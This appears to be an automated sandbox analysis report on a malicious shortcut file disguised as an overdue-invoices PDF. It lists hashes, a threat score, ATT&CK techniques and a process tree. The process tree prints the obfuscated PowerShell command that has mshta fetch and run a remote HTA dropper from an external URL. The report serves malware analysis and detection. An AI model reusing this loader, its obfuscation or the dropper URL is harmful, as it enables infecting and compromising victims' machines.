517b9d73ba6d6fd29ef0e008a01b11487c9217e466e17bb073a05412b3932e5b

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
17-08-2022 07:11

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General

Target

FACTURAS VENCIDAS.pdf.lnk
Size

4KB
MD5

321240e769016fa53af40cb6ab98cc0d
SHA1

44b6143d5ec750d11f38d311622ef849b8ec5178
SHA256

517b9d73ba6d6fd29ef0e008a01b11487c9217e466e17bb073a05412b3932e5b
SHA512

b8189176905d269d0135267ac47ac30f140ab76cb8ae5025250691f99f6b8ae186d05bad3bee3521726d6dc4f14f25cca3235aebcd9a9f56c8b8e93eb52e86dd

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://movilidadvialcolombia.com/envios.hta

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exe

flow pid process

4 980 mshta.exe
5 980 mshta.exe
6 980 mshta.exe
7 980 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1184 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1184 powershell.exe

flow	pid	process
4	980	mshta.exe
5	980	mshta.exe
6	980	mshta.exe
7	980	mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1184	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2040 wrote to memory of 1184	2040	cmd.exe	powershell.exe
PID 2040 wrote to memory of 1184	2040	cmd.exe	powershell.exe
PID 2040 wrote to memory of 1184	2040	cmd.exe	powershell.exe
PID 1184 wrote to memory of 980	1184	powershell.exe	mshta.exe
PID 1184 wrote to memory of 980	1184	powershell.exe	mshta.exe
PID 1184 wrote to memory of 980	1184	powershell.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\FACTURAS VENCIDAS.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $RmOQa='oaaviioo.ai:loavstm.nl/daoMcbHhemdihvpTlmttslsc//i'; &(-join($RmOQa[(25567-25551),(-5690+5691),(-53183+53195)])) :\ (-join($RmOQa[(25567-25551),(-5690+5691),(-53183+53195)])); :\ ^* (-join($RmOQa[(-49742+49760),(25567-25551),(-65481+65510),(-31827+31844),(-5690+5691)])); foreach($bxcdxk in @((-7238+7268),(15062-15045),(12459-12442),(60614-60577),(-27262+27278),(-16356+16367),(-59583+59605),(-38422+38444),(4418-4400),(-45458+45458),(-8330+8333),(53548-53544),(31137-31125),(-32813+32817),(10370-10347),(2734-2733),(32919-32896),(-55404+55407),(25253-25249),(-60232+60233),(-22204+22216),(-3617+3644),(-25191+25191),(16991-16979),(-56149+56149),(-64411+64429),(-33829+33857),(25970-25966),(-29913+29914),(28759-28751),(-21336+21363),(29847-29847),(16247-16229),(-50154+50176),(-35833+35864),(-60816+60836),(54974-54971),(-1453+1457),(21056-21056),(30922-30906),(25154-25146),(39267-39237),(54694-54677),(-5241+5242))) {$nxFNKh+= $RmOQa[$bxcdxk]}; ^* $nxFNKh;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://movilidadvialcolombia.com/envios.hta
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/980-96-0x0000000000000000-mapping.dmp

Download
memory/1184-88-0x0000000000000000-mapping.dmp

Download
memory/1184-93-0x000007FEF3EF0000-0x000007FEF4913000-memory.dmp

Filesize
10.1MB

Download
memory/1184-95-0x0000000002344000-0x0000000002347000-memory.dmp

Filesize
12KB

Download
memory/1184-94-0x000007FEF3390000-0x000007FEF3EED000-memory.dmp

Filesize
11.4MB

Download
memory/1184-97-0x0000000002344000-0x0000000002347000-memory.dmp

Filesize
12KB

Download
memory/1184-98-0x000000000234B000-0x000000000236A000-memory.dmp

Filesize
124KB

Download
memory/2040-54-0x000007FEFBB81000-0x000007FEFBB83000-memory.dmp

Filesize
8KB

Download